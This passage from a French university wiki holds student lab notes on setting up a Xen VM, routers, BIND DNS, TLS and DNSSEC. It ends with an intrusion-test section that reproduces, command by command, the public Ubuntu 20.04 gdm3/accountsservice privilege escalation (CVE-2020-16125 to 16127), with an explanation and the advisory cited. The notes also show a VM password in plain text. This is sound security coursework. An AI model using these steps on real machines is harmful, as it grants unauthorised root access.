Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:play_docker.png || 600px ]]&lt;br /&gt;
&lt;br /&gt;
Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54896</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54896"/>
				<updated>2020-12-17T16:19:55Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
